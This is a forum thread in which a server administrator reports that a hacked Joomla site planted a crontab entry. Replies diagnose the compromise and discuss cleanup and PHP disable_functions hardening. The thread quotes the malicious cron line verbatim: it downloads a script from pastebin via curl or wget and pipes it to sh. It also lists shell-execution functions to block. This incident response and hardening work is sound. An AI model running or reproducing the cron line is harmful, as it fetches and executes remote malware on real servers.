User managed to create crontab entry

ISPConfig 3.1.13, on Debian GNU/Linux 9.8 Stretch.
Web server root got email:

Code:

Date: Wed,  3 Apr 2019 15:30:03 +0300 (EEST)
From: [email protected]
To: [email protected]
Subject: *** SECURITY information for web.mydomain.tld ***

web.mydomain.tld : Apr  3 15:30:02 : webXYZ : user NOT in sudoers ; TTY=unknown ; PWD=/var/www/clients/clientAB/webXYZ ; USER=root ;
+COMMAND=/usr/bin/crontab -

There is crontab file for that user in /var/spool/cron/crontabs

Code:

root@web:~# ls -lh  /var/spool/cron/crontabs/
yhteensä 12K
-rw------- 1 root   crontab 885 maali 17 17:13 root
-rw------- 1 webXYZ crontab 285 huhti  4 10:39 webXYZ
root@web:~#

The file contains this line:

Code:

/10 * * * * (curl -fsSL https://pastebin.com/raw/v5XC0BJh||wget -q -O- https://pastebin.com/raw/v5XC0BJh)|sh

Which to my interpetation downloaws with curl and if it is not available with wget a similar line with different url but still from pastebin, which in turn downloads and executes code from https://pastebin.com/xmxHzu5P
That is a shell script, which first chmods /tmp and then kills processes and what not. Since this is not executed with root permissions, most of those commands shoud fail.
That webXYZ user has in ISPConfig Max. Allowed Cronjob types the value URL Cron.
Is it some exploit that user can create crontab files?

 

Hello,
the website was hacked. It's that easy. ISPConfig does not create crontab files in /var/spool so the mentioned cron file was created using the "crontab" command or manually. Normally this is done by a malicious script uploaded to the website (that's why it is run as the webXXX user).
Check your website for malicious files, otherwise the file will be created over and over again. It is all done outside of ISPConfig, so it does not matter what you set there.

 

Good idea. I ran ISPProtect on that website, but "found 0 suspect files.".
I'll try to think other ways to examine what is wrong with that website.

 

I disabled that website, killed the processes it had created, removed the executable files it had created in /tmp (and that took 100 % CPU for all cores), removed the crontab file from crontabs. The website had Joomla latest version, now all plugins are checked for updates. Checked the files the downloaded script tries to modify.
I added disable_functions for that website, and enabled it back. So far thinks are OK.

 

Just an update: I did not figure out how the exploit was done. It has not appeared again after Joomla plugins and themes were upgraded, and website options got disable_functions and allow_url_fopen=Off allow_url_include=Off.
But now the RS Firewall on that website can not show version of Joomla and version of the plugins, neither can it use the GEOIP database to block by country. Any idea which setting does that? I have now:

Code:

disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
allow_url_fopen=Off
allow_url_include=Off

 

That joomla site has not had problems. But now another sites has cracker modifying files, a different kind of attack. This time it is a Wordpress site.
I removed the files ISPProtect found after looking at them to see if it was a false alarm. Most were not.
I'm now thinking to set disable_functions and allow_url_fopen=Off to all websites. I remove curl_exec from the settings I showed in #6, that fixed RS Firewall.
Is there a known good set of disable_functions or other PHP.ini settings to protect websites? I tested this on that Wordpress site:

Code:

disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_multi_exec,parse_ini_file,show_source
allow_url_include=Off

I clicked around quite a bit, all seems to work on that website.
I'll try next to figure out how to change this setting for all websites. Maybe do it in the database and then Resync Websites in ISPConfig. I assume that website resync writes the custom php.ini settings to web server configuration files?